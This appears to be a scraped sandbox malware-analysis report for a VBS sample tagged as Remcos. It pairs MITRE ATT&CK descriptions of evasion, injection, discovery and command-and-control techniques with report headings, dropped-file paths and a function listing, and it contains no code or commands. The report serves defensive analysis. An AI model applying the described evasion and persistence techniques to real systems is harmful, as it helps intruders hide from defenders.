Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report russelllogistics_PDF98933 laced 2023-06-06 .vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\8a9d1888db39038b57f8d2d3841731d1a49a73dc28491601746084d66078e4ce

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\da194f1ae3fae6c3dec55caeb90c7b89603ca77ab2757c94f6f1aaaf79793726

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uclia5kx.jfy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbwljbj0.2hm.ps1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
russelllogistics_PDF98933 laced 2023-06-06 .vbs

Function 00FBD8A0 Relevance: 7.7, APIs: 5, Instructions: 211
librarymemoryloaderCOMMON

Function 00FBD8A0 Relevance: 7.7, APIs: 5, Instructions: 211
librarymemoryloaderCOMMON

Function 00A958B5 Relevance: 2.6, APIs: 2, Instructions: 71
COMMON

Function 00A97608 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Function 00A95BDA Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Function 00A711FD Relevance: 6.0, APIs: 4, Instructions: 12
COMMON

Function 00A7C380 Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Function 00A97E98 Relevance: .0, Instructions: 29
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre